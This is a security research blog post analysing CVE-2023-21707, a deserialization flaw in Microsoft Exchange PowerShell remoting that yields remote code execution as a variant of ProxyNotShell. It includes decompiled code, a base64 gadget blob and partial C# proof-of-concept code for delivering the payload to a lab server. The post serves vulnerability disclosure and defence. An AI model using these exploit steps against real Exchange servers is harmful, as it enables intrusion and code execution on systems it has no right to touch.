Microsoft Exchange Powershell Remoting Deserialization leading to RCE (CVE-2023-21707)
======================================================================================
April 28, 2023 · 6 min · Nguyễn Tiến Giang (Jang)
Table of Contents
* [](https://starlabs.sg/blog/2023/04-microsoft-exchange-powershell-remoting-deserialization-leading-to-rce-cve-2023-21707/#introduction)
* [](https://starlabs.sg/blog/2023/04-microsoft-exchange-powershell-remoting-deserialization-leading-to-rce-cve-2023-21707/#the-new-variant)
* [](https://starlabs.sg/blog/2023/04-microsoft-exchange-powershell-remoting-deserialization-leading-to-rce-cve-2023-21707/#payload-delivery)
* [](https://starlabs.sg/blog/2023/04-microsoft-exchange-powershell-remoting-deserialization-leading-to-rce-cve-2023-21707/#demo)
* [](https://starlabs.sg/blog/2023/04-microsoft-exchange-powershell-remoting-deserialization-leading-to-rce-cve-2023-21707/#references)
Introduction
------------
While analyzing `CVE-2022-41082`, also known as ProxyNotShell, we discovered this vulnerability which we have detailed in this blog. However, for a comprehensive understanding, we highly recommend reading the [thorough analysis](https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend) written by team ZDI.
To aid in understanding, we present a visual representation of `CVE-2022-41082` below.
![https://images.seebug.org/1683343220007-w331s](https://images.seebug.org/1683343220007-w331s)
The sink of ProxyNotShell:
//System.Management.Automation.InternalDeserializer.ReadOneObject()
internal object ReadOneObject(out string streamName)
{
//...
Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]
if (null != targetTypeForDeserialization)
{
Exception ex = null;
try
{
object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); //[2]
}
//...
}
At **\[2\]**, if `targetTypeForDeserialization` != null, it will continue to call `LanguagePrimitives.ConvertTo()` to convert the original `obj` to the Type specified by `targetTypeForDeserialization`.
The `LanguagePrimitives.ConvertTo()` method was previously cited in the `PSObject` gadget section of the paper titled [“Friday the 13th JSON Attacks”](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf). The paper also discusses several possible methods of exploiting this method:
* Call constructor with 1 argument
* Call setter
* Call static method “_**Parse(string)**_” **\[method 3\]**
* Call custom Conversion **\[method 4\]**
* …
The vulnerability `CVE-2022-41082` involves the use of `LanguagePrimitives.ConvertTo()` twice with different approaches.
* The first usage utilizes **\[method 4\]** to reconstruct the `XamlReader` type. To achieve this, the custom conversion method `Microsoft.Exchange.Data.SerializationTypeConverter.ConvertFrom() -> DeserializeObject()` is employed, which uses `BinaryFormatter` with a whitelist to deserialize data. If the deserialize type happens to be a `System.Type`, the target type would be `System.UnitySerializationHolder` which is also on the whitelist.
* At the second time, the process employs **\[method 3\]** to initiate a call to the static method `XamlReader.Parse(string)`, which subsequently triggers a Remote Code Execution (RCE) vulnerability. It is important to note that `XamlReader` is the deserialized Type obtained from `step 1`.
The latest patch for `CVE-2022-41082` introduces a new `UnitySerializationHolderSurrogateSelector` that verifies the target Type during the process of deserializing `System.UnitySerializationHolder`. Consequently, the exploitation of this vulnerability to invoke `Type.Parse(string)` is no longer possible. This fix effectively mitigates the risk of malicious actors exploiting the vulnerability to execute arbitrary code.
The new variant
---------------
Take a look deeper at the **\[method 3\]** of `LanguagePrimitives.ConvertTo()`, Exchange has implemented a custom PowerShell Type Conversion: `SerializationTypeConverter`, method `SerializationTypeConverter.ConvertFrom()` will directly call to `DeserializeObject` **\[3\]**:
public override object ConvertFrom(object sourceValue, Type destinationType, IFormatProvider formatProvider, bool ignoreCase)
{
return this.DeserializeObject(sourceValue, destinationType); //[3]
}
private object DeserializeObject(object sourceValue, Type destinationType)
{
if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex)) //[4]
{
throw ex;
}
//...
using (MemoryStream memoryStream = new MemoryStream(array))
{
AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;
try
{
int tickCount = Environment.TickCount;
obj = this.Deserialize(memoryStream); //[5]
//...
}
private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error)
{
PSObject psobject = sourceValue as PSObject;
//...
object value = psobject.Properties["SerializationData"].Value; //[6]
if (!(value is byte[]))
{
error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));
return false;
}
//...
stringValue = psobject.ToString();
serializationData = value as byte[];
}
internal object Deserialize(MemoryStream stream)
{
bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]
}
In `DeserializeObject`, method `CanConvert()` will get the `SerializationData` property from the original PSObject as a byte array as indicated at **\[6\]**, then directly pass into `SerializationTypeConverter.Deserialize() -> BinaryFormatter.Deserialize()` as indicated at **\[7\]**.
In ProxyNotShell’s payload, `SerializationData` is represented like this:
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
Deserialization to Remote Code Execution (RCE) can be prevented by using the whitelist `SerializationTypeConverter.allowedTypes`, which contains around 1200 allowed types.
![https://images.seebug.org/1683343223219-w331s](https://images.seebug.org/1683343223219-w331s)
Upon closer inspection of this whitelist, a new variant of `41082` was discovered and named `CVE-2023-21707`. One of the allowed types in the whitelist is `Microsoft.Exchange.Security.Authentication.GenericSidIdentity`. By utilizing this whitelist and including the specific allowed types, the risk of Deserialization to RCE can be significantly reduced.
![https://images.seebug.org/1683343225021-w331s](https://images.seebug.org/1683343225021-w331s)
The inheritance tree for `GenericSidIdentity`:
GenericSidIdentity
ClientSecurityContextIdentity
System.Security.Principal.GenericIdentity
System.Security.Claims.ClaimsIdentity <---
If you have previous experience with .NET Deserialization, you would be able to quickly recognize the `ClaimsIdentity` class. This class is included in the gadget chain of the well-known tool [ysoserial.net](https://github.com/pwntester/ysoserial.net).
![https://images.seebug.org/1683343228696-w331s](https://images.seebug.org/1683343228696-w331s)
`Microsoft.Exchange.Security.Authentication.GenericSidIdentity` is a subclass of `ClaimsIdentity`. During deserialization, the `ClaimsIdentity` object is reconstructed first, followed by a call to `ClaimsIdentity.OnDeserializedMethod()`.
This presents an opportunity for exploitation, as we can abuse this behavior to trigger RCE during the second deserialization phase.
Payload delivery
----------------
Despite the persistence of the underlying bug, the implementation of the `ProxyNotShell` patch has effectively neutralized the SSRF vulnerability previously present at the autodiscover entrypoint. Consequently, the previous method of sending payloads is no longer viable.
Following several days of investigation, I have discovered that it is still possible to access the /powershell entrypoint remotely, albeit with a restriction that limits access exclusively to the HTTP protocol:
* src: [https://learn.microsoft.com/en-us/powershell/exchange/connect-to-exchange-servers-using-remote-powershell?view=exchange-ps](https://learn.microsoft.com/en-us/powershell/exchange/connect-to-exchange-servers-using-remote-powershell?view=exchange-ps)
To do it programmatically, we can use `WSManConnectionInfo` and `RunspaceFactory.CreateRunspace()` to establish a powershell session to target Exchange server:
string userName = "john";
string password = "";
string uri = "http://exchange.lab.local/powershell";
PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));
WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", credentials);
wsmanConnectionInfo.AuthenticationMechanism = this.authType;
wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;
wsmanConnectionInfo.SkipCACheck = true;
wsmanConnectionInfo.SkipCNCheck = true;
this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);
this.runspace.Open();
After that, we can create a PowerShell Session with created runspace and invoke command. To deliver the payload, we can pass it as an argument like this:
object payload = new Payload();
using (PowerShell powerShell = PowerShell.Create())
{
powerShell.Runspace = this.runspace;
powerShell.AddCommand("get-mailbox");
powerShell.AddArgument(payload);
powerShell.Invoke();
}
One important aspect to note is that the `PowerShell.AddArgument(object)` function can accept any object as an argument.
This step is akin to the process of crafting the payload in ProxyNotShell, but instead of manual crafting, we carry it out programmatically. By utilizing this function, we can dynamically add arguments to the PowerShell command, which allows for greater flexibility and customization in our approach.
Content of `Payload` Class:
using System;
public class Payload: Exception
{
private byte[] _serializationData;
public byte[] SerializationData
{
get => _serializationData;
set => _serializationData = value;
}
public Payload(byte[] serializationData)
{
SerializationData = serializationData;
}
}
To ensure proper functionality, it is required that this particular class inherits the `System.Exception` type, as explained in detail in this [article](https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend). Additionally, a public property named `SerializationData` must be included in the class, which will serve as a container for the bypass gadgetchain `GenericSidIdentity`.
To implement this, we generate a `GenericSidIdentity` object and set its `m_serializedClaims` field value to the actual RCE gadgetchain, which can be created through the use of ysoserial.
While there are various methods to accomplish this, in my proof of concept, I opted to create a new class that inherits from `GenericIdentity`:
![https://images.seebug.org/1683343261801-w331s](https://images.seebug.org/1683343261801-w331s)
And use a Custom Serialization Binder to rewrite Class Name during the serialization:
![https://images.seebug.org/1683343263253-w331s](https://images.seebug.org/1683343263253-w331s)
In order to execute the exploit successfully, certain prerequisites need to be fulfilled:
* The attacker’s machine should have access to port 80 of the targeted Exchange server.
* The PowerShell entry point’s authentication method must be Kerberos (as opposed to NTLM), requiring access to port 88 of the Domain Controller while running the exploit.
It is important to note that this exploit is not viable for an internet-facing Exchange server due to its technical limitations.
The following images details the successful exploitation of code including proof of execution and information about the resulting call stack.
![https://images.seebug.org/1683343264668-w331s](https://images.seebug.org/1683343264668-w331s)
![https://images.seebug.org/1683343266183-w331s](https://images.seebug.org/1683343266183-w331s)
Thanks for reading!
暂无评论